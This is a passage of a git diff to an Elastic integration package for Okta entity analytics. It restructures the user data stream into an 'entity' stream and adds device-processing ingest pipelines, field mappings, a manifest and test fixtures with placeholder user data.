St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"}],\"resourceType\":\"UDDevice\",\"status\":\"ACTIVE\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.entity-default\",\"_id\":\"_id\",\"_version\":-3}", + "type": [ + "info" + ] + }, + "input": { + "type": "entity-analytics" + }, + "os": { + "platform": "windows" + }, + "related": { + "user": [ + "00ub0oNGTSWTBKOLGLNR", + "isaac.brock@example.com", + "issac", + "Isaac Brock" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + } + ] +} diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json similarity index 100% rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json similarity index 80% rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json index aa34d880b1b..9ace56c73b3 100644 --- a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json +++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json @@ -15,6 +15,11 @@ "type": "okta_user", "vendor": "OKTA" }, + "data_stream": { + "dataset": "entityanalytics_okta.user", + "namespace": "default", + "type": "logs" + }, "ecs": { "version": "8.11.0" }, @@ -78,7 +83,7 @@ "iam" ], "kind": "asset", - "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"groups\":[{\"profile\":{\"name\":\"Everyone\",\"description\":\"All users in your organization\"},\"id\":\"OGYzMDMwYjFmODBiNjli\"}],\"event\":{\"action\":\"user-modified\"},\"okta\":{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"},\"user\":{\"id\":\"00u5tvodynDjUCNKn697\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.user-default\",\"_id\":\"_id\",\"_version\":-3}", + "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"groups\":[{\"profile\":{\"name\":\"Everyone\",\"description\":\"All users in your organization\"},\"id\":\"OGYzMDMwYjFmODBiNjli\"}],\"event\":{\"kind\":\"asset\"},\"okta\":{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"},\"user\":{\"id\":\"00u5tvodynDjUCNKn697\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.entity-default\",\"_id\":\"_id\",\"_version\":-3}", "type": [ "user", "info" @@ -155,4 +160,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml b/packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml similarity index 96% rename from packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml index 166539ffd69..c0a19d3f519 100644 --- a/packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml +++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml @@ -4,6 +4,7 @@ data_stream: vars: okta_domain: trial-xxxxxxx-admin.okta.com okta_token: xxxx + dataset: all preserve_duplicate_custom_fields: true preserve_original_event: true enable_request_tracer: true @@ -43,4 +44,3 @@ data_stream: JE3WRcwNIONSRY/9seTyK6y9ed61m40Bx92kO2H0Ld+vKkYnFWAoZNYEM0WZ0zWz 9EkWoxHOkvz1Pnp41Llpc7OPdbOQrx4= -----END CERTIFICATE----- -# the hit count may be 3 or 4, depending on whether an incremental update runs first diff --git a/packages/entityanalytics_okta/data_stream/user/agent/stream/entity-analytics.yml.hbs b/packages/entityanalytics_okta/data_stream/entity/agent/stream/entity-analytics.yml.hbs similarity index 100% rename from packages/entityanalytics_okta/data_stream/user/agent/stream/entity-analytics.yml.hbs rename to packages/entityanalytics_okta/data_stream/entity/agent/stream/entity-analytics.yml.hbs diff --git a/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 00000000000..82d0601f3bc --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,65 @@ +--- +description: Pipeline for processing Okta entities. +processors: + - set: + field: ecs.version + tag: set_ecs_version + value: 8.11.0 + + - remove: + field: event.action + if: ctx.event?.action != "started" && ctx.event?.action != "completed" + ignore_missing: true + + - set: + field: event.kind + tag: set_event_kind + value: asset + - pipeline: + name: '{{ IngestPipeline "user" }}' + tag: pipeline_to_user + if: ctx.user?.id != null + - pipeline: + name: '{{ IngestPipeline "device" }}' + tag: pipeline_to_device + if: ctx.device?.id != null + + - script: + lang: painless + description: Drops null/empty values recursively. + tag: painless_remove_null + source: |- + boolean drop(Object object) { + if (object == null || object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(v -> drop(v)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(v -> drop(v)); + return (((List) object).length == 0); + } + return false; + } + drop(ctx); + - set: + field: event.kind + tag: set_pipeline_error_into_event_kind + value: pipeline_error + if: ctx.error?.message != null + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml new file mode 100644 index 00000000000..71225cbbe44 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml @@ -0,0 +1,255 @@ +--- +description: Pipeline for processing Okta Device logs. +processors: + - script: + tag: script_add_event_original + lang: painless + description: Add "event.original" + if: ctx.tags != null && ctx.tags.contains('preserve_original_event') + source: | + def stringified_orig = Json.dump(ctx); + if (stringified_orig != null) { + if (ctx.event == null) { + ctx.event = new HashMap(); + } + ctx.event.original = stringified_orig; + } + - remove: + field: event.action + if: ctx.event?.action != "started" && ctx.event?.action != "completed" + ignore_missing: true + - set: + field: event.kind + tag: set_event_kind + value: asset + - set: + field: event.category + tag: set_event_category + value: ['host'] + - set: + field: event.type + tag: set_event_type + value: ['info'] + - set: + field: asset.category + tag: set_asset_category + value: entity + - set: + field: asset.type + tag: set_asset_type + value: okta_device + - rename: + field: okta.id + target_field: entityanalytics_okta.device.id + tag: rename_device_id + ignore_missing: true + - set: + field: asset.id + copy_from: entityanalytics_okta.device.id + tag: set_asset_id + ignore_empty_value: true + - rename: + field: okta.status + target_field: entityanalytics_okta.device.status + tag: rename_device_status + ignore_missing: true + - set: + field: asset.status + copy_from: entityanalytics_okta.device.status + tag: set_asset_status + ignore_empty_value: true + - date: + field: okta.created + target_field: entityanalytics_okta.device.created + tag: date_device_created + formats: + - ISO8601 + if: ctx.okta?.created != null && ctx.okta.created != '' + on_failure: + - remove: + field: okta.created + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: asset.create_date + copy_from: entityanalytics_okta.device.created + tag: set_asset_create_date + ignore_empty_value: true + - date: + field: okta.activated + target_field: entityanalytics_okta.device.activated + tag: date_device_activated + formats: + - ISO8601 + if: ctx.okta?.activated != null && ctx.okta.activated != '' + on_failure: + - remove: + field: okta.activated + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: okta.statusChanged + target_field: entityanalytics_okta.device.status_changed + tag: date_device_status_changed + formats: + - ISO8601 + if: ctx.okta?.statusChanged != null && ctx.okta.statusChanged != '' + on_failure: + - remove: + field: okta.statusChanged + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: asset.last_status_change_date + copy_from: entityanalytics_okta.device.status_changed + tag: set_asset_last_status_change_date + ignore_empty_value: true + - date: + field: okta.lastUpdated + target_field: entityanalytics_okta.device.last_updated + tag: date_device_last_updated + formats: + - ISO8601 + if: ctx.okta?.lastUpdated != null && ctx.okta.lastUpdated != '' + on_failure: + - remove: + field: okta.lastUpdated + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: asset.last_updated + copy_from: entityanalytics_okta.device.last_updated + tag: set_asset_last_seen + ignore_empty_value: true + - rename: + field: okta.transitioningToStatus + target_field: entityanalytics_okta.device.transitioning_to_status + tag: user_transitioning_to_status + ignore_missing: true + - foreach: + field: okta.users + tag: foreach_okta_user_id + if: ctx.okta?.users instanceof List + ignore_failure: true + processor: + append: + field: related.user + value: '{{{_ingest._value.id}}}' + allow_duplicates: false + ignore_failure: true + - foreach: + field: okta.users + tag: foreach_okta_user_login + if: ctx.okta?.users instanceof List + ignore_failure: true + processor: + append: + field: related.user + value: '{{{_ingest._value.profile.login}}}' + allow_duplicates: false + ignore_failure: true + - foreach: + field: okta.users + tag: foreach_okta_user_nickName + if: ctx.okta?.users instanceof List + ignore_failure: true + processor: + append: + field: related.user + value: '{{{_ingest._value.profile.nickName}}}' + allow_duplicates: false + ignore_failure: true + - foreach: + field: okta.users + tag: foreach_okta_user_displayName + if: ctx.okta?.users instanceof List + ignore_failure: true + processor: + append: + field: related.user + value: '{{{_ingest._value.profile.displayName}}}' + allow_duplicates: false + ignore_failure: true + - lowercase: + field: okta.profile.platform + target_field: os.platform + tag: rename_device_profile_platform + ignore_missing: true + - rename: + field: okta.profile.displayName + target_field: entityanalytics_okta.device.profile.display_name + tag: rename_device_profile_display_name + ignore_missing: true + - rename: + field: okta.profile.sid + target_field: entityanalytics_okta.device.profile.sid + tag: rename_device_profile_sid + ignore_missing: true + - rename: + field: okta.profile.serialNumber + target_field: device.serial_number + tag: rename_device_profile_serial_number + ignore_missing: true + - rename: + field: okta.profile.diskEncryptionType + target_field: entityanalytics_okta.device.profile.disk_encryption_type + tag: rename_device_profile_display_name + ignore_missing: true + - convert: + field: okta.profile.registered + target_field: entityanalytics_okta.device.profile.registered + type: boolean + tag: convert_device_profile_registered + ignore_missing: true + on_failure: + - remove: + field: okta.profile.registered + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: okta.profile.secureHardwarePresent + target_field: entityanalytics_okta.device.profile.secure_hardware_present + type: boolean + tag: convert_device_profile_secure_hardware_present + ignore_missing: true + on_failure: + - remove: + field: okta.profile.secure_hardware_present + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: asset.name + copy_from: entityanalytics_okta.device.profile.display_name + tag: set_asset_name + ignore_empty_value: true + - rename: + field: okta._links + target_field: entityanalytics_okta.device._links + tag: rename_device_links + ignore_missing: true + - rename: + field: okta._embedded + target_field: entityanalytics_okta.device._embedded + tag: rename_device_embedded + ignore_missing: true + - remove: + field: + - okta + tag: remove_okta + ignore_missing: true + - remove: + field: + - entityanalytics_okta.device.status + - entityanalytics_okta.device.activated + - entityanalytics_okta.device.status_changed + - entityanalytics_okta.device.created + - entityanalytics_okta.device.id + tag: remove_duplicate_custom_fields + ignore_missing: true + if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) diff --git a/packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml similarity index 94% rename from packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml rename to packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml index a3d986eaf8a..3cf129bf1ec 100644 --- a/packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml +++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml @@ -1,10 +1,6 @@ --- description: Pipeline for processing User logs. processors: - - set: - field: ecs.version - tag: set_ecs_version - value: 8.11.0 - script: tag: script_add_event_original lang: painless @@ -664,42 +660,3 @@ processors: tag: remove_duplicate_custom_fields ignore_missing: true if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) - - script: - lang: painless - description: Drops null/empty values recursively. - tag: painless_remove_null - source: |- - boolean drop(Object object) { - if (object == null || object == '') { - return true; - } else if (object instanceof Map) { - ((Map) object).values().removeIf(v -> drop(v)); - return (((Map) object).size() == 0); - } else if (object instanceof List) { - ((List) object).removeIf(v -> drop(v)); - return (((List) object).length == 0); - } - return false; - } - drop(ctx); - - set: - field: event.kind - tag: set_pipeline_error_into_event_kind - value: pipeline_error - if: ctx.error?.message != null - - append: - field: tags - value: preserve_original_event - allow_duplicates: false - if: ctx.error?.message != null -on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.kind - value: pipeline_error - - append: - field: tags - value: preserve_original_event - allow_duplicates: false diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml b/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml new file mode 100644 index 00000000000..d23b291e37f --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: entityanalytics_okta +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: entityanalytics_okta.entity +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml b/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml new file mode 100644 index 00000000000..4084f1dc7f5 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml b/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml new file mode 100644 index 00000000000..61b1130c100 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml @@ -0,0 +1,107 @@ +- name: asset + type: group + fields: + - name: category + type: keyword + - name: costCenter + type: keyword + - name: create_date + type: date + - name: id + type: keyword + - name: last_seen + type: date + - name: last_status_change_date + type: date + - name: last_updated + type: date + - name: name + type: keyword + - name: status + type: keyword + - name: type + type: keyword + - name: vendor + type: keyword +- name: labels + type: group + fields: + - name: identity_source + type: keyword +- name: user + type: group + fields: + - name: account + type: group + fields: + - name: activated_date + type: date + - name: change_date + type: date + - name: create_date + type: date + - name: password_change_date + type: date + - name: status + type: group + fields: + - name: deprovisioned + type: boolean + - name: locked_out + type: boolean + - name: password_expired + type: boolean + - name: recovery + type: boolean + - name: suspended + type: boolean + - name: geo + type: group + fields: + - name: city_name + type: keyword + - name: country_iso_code + type: keyword + - name: name + type: keyword + - name: postal_code + type: keyword + - name: region_name + type: keyword + - name: timezone + type: keyword + - name: organization + type: group + fields: + - name: name + type: keyword + - name: profile + type: group + fields: + - name: department + type: keyword + - name: first_name + type: keyword + - name: id + type: keyword + - name: job_title + type: keyword + - name: last_name + type: keyword + - name: manager + type: keyword + - name: mobile_phone + type: keyword + - name: other_identities + type: keyword + - name: primaryPhone + type: keyword + - name: secondEmail + type: keyword + - name: status + type: keyword + - name: type + type: keyword +- name: device.serial_number + type: keyword + description: The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication. diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml b/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml new file mode 100644 index 00000000000..ac8fe04cac3 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml @@ -0,0 +1,220 @@ +- name: entityanalytics_okta + type: group + fields: + - name: device + type: group + fields: + - name: _embedded + type: flattened + description: embedded resources related to the device. + - name: _links + type: flattened + description: link relations for the device's current status. + - name: activated + type: date + description: timestamp when transition to ACTIVE status completed. + - name: created + type: date + description: timestamp when device was created. + - name: id + type: keyword + description: unique key for device. + - name: last_login + type: date + description: timestamp of last login. + - name: last_updated + type: date + description: timestamp when device was last updated. + - name: password_changed + type: date + description: timestamp when password last changed. + - name: profile + type: group + fields: + - name: registered + type: boolean + description: Whether the device is registered. + - name: secure_hardware_present + type: boolean + description: Whether the device is using secure hardware. + - name: "*" + type: keyword + - name: status + type: keyword + description: current status of device. + - name: status_changed + type: date + description: timestamp when status last changed. + - name: transitioning_to_status + type: keyword + description: target status of an in-progress asynchronous status transition. + - name: type + type: flattened + description: device type that determines the schema for the device's profile. + - name: users + type: flattened + description: Users associated with the device. + - name: user + type: group + fields: + - name: _embedded + type: flattened + description: embedded resources related to the user. + - name: _links + type: flattened + description: link relations for the user's current status. + - name: activated + type: date + description: timestamp when transition to ACTIVE status completed. + - name: created + type: date + description: timestamp when user was created. + - name: credentials + type: group + fields: + - name: provider + type: group + fields: + - name: name + type: keyword + - name: type + type: keyword + - name: recovery_question.is_set + type: boolean + - name: id + type: keyword + description: unique key for user. + - name: last_login + type: date + description: timestamp of last login. + - name: last_updated + type: date + description: timestamp when user was last updated. + - name: password_changed + type: date + description: timestamp when password last changed. + - name: profile + type: group + fields: + - name: city + type: keyword + description: City or locality component of user's address (locality). + - name: cost_center + type: keyword + description: Name of a cost center assigned to user. + - name: country_code + type: keyword + description: Country name component of user's address (country). + - name: department + type: keyword + description: Name of user's department. + - name: display_name + type: keyword + description: Name of the user, suitable for display to end users. + - name: division + type: keyword + description: Name of user's division. + - name: email + type: keyword + description: Primary email address of user. + - name: employee_number + type: keyword + description: Organization or company assigned unique identifier for the user. + - name: first_name + type: keyword + description: Given name of the user (givenName). + - name: honorific + type: group + fields: + - name: prefix + type: keyword + description: Honorific prefix(es) of the user, or title in most Western languages. + - name: suffix + type: keyword + description: Honorific suffix(es) of the user. + - name: last_name + type: keyword + description: Family name of the user (familyName). + - name: locale + type: keyword + description: User's default location for purposes of localizing items such as currency, date time format, numerical representations, and so on. + - name: login + type: keyword + description: Unique identifier for the user (username). + - name: manager + type: group + fields: + - name: id + type: keyword + description: id of a user's manager. + - name: name + type: keyword + description: displayName of the user's manager. + - name: middle_name + type: keyword + description: Middle name(s) of the user. + - name: mobile_phone + type: keyword + description: Mobile phone number of user. + - name: nick_name + type: keyword + description: Casual way to address the user in real life. + - name: organization + type: keyword + description: Name of user's organization. + - name: postal_address + type: keyword + description: Mailing address component of user's address. + - name: preferred_language + type: keyword + description: User's preferred written or spoken languages. + - name: primary_phone + type: keyword + description: Primary phone number of user such as home number. + - name: second_email + type: keyword + description: Secondary email address of user typically used for account recovery. + - name: state + type: keyword + description: State or region component of user's address (region). + - name: street_address + type: keyword + description: Full street address component of user's address. + - name: timezone + type: keyword + description: User's time zone. + - name: title + type: keyword + description: User's title, such as "Vice President". + - name: url + type: keyword + description: 'URL of user''s online profile (for example: a web page).' + - name: user_type + type: keyword + description: Used to describe the organization to user relationship such as "Employee" or "Contractor". + - name: zip_code + type: keyword + description: ZIP code or postal code component of user's address (postalCode). + - name: status + type: keyword + description: current status of user. + - name: status_changed + type: date + description: timestamp when status last changed. + - name: transitioning_to_status + type: keyword + description: target status of an in-progress asynchronous status transition. + - name: type + type: flattened + description: user type that determines the schema for the user's profile. + - name: groups + type: group + fields: + - name: id + type: keyword + description: The ID for the group. + - name: profile.* + type: object + description: Group profile details. + object_type: keyword + object_type_mapping_type: '*' diff --git a/packages/entityanalytics_okta/data_stream/entity/manifest.yml b/packages/entityanalytics_okta/data_stream/entity/manifest.yml new file mode 100644 index 00000000000..04afa05f160 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/manifest.yml @@ -0,0 +1,150 @@ +title: Collect User Identities logs from Okta +dataset: entityanalytics_okta.entity +type: logs +streams: + - input: entity-analytics + title: User Identities logs + enabled: false + description: Collect User Identities logs from Okta. + template_path: entity-analytics.yml.hbs + vars: + - name: okta_domain + type: text + title: Domain + multi: false + required: true + show_user: true + description: The Okta domain. + - name: okta_token + type: password + title: Okta API Token + multi: false + required: true + show_user: true + description: The Okta API token, used for authentication. + secret: true + - name: dataset + type: select + title: Okta Dataset + multi: false + required: false + show_user: true + description: The dataset to collect from the API. Selecting all or devices requires that the devices API has been activated in Okta. Note that this option has no effect when the stack version is below 8.11. + options: + - value: all + text: all + - value: users + text: users + - value: devices + text: devices + default: users + - name: sync_interval + type: text + title: Sync Interval + description: How often full synchronizations should occur. Must be greater than Update Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 24h. Supported units for this parameter are h/m/s. + multi: false + required: true + show_user: true + default: 24h + - name: update_interval + type: text + title: Update Interval + description: How often incremental updates should occur. Must be less than Sync Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 15m. Supported units for this parameter are h/m/s. + default: 15m + multi: false + required: true + show_user: true + - name: id + type: text + title: Input ID + description: Identity Source. Which will be added to every event as a label. + multi: false + required: false + show_user: false + - name: http_client_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. + multi: false + required: true + show_user: false + default: 30s + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- + - name: enable_request_tracer + type: bool + title: Enable request tracing + multi: false + required: false + show_user: false + description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_filename) for details. + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - entityanalytics_okta-entity + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: true + show_user: false + title: Preserve duplicate custom fields + description: Preserve entityanalytics_okta.user fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + default: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: >- + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. +elasticsearch: + dynamic_dataset: true + dynamic_namespace: true diff --git a/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml b/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml new file mode 100644 index 00000000000..b1bcabc024b --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/routing_rules.yml @@ -0,0 +1,12 @@ +- source_dataset: entityanalytics_okta.entity + rules: + 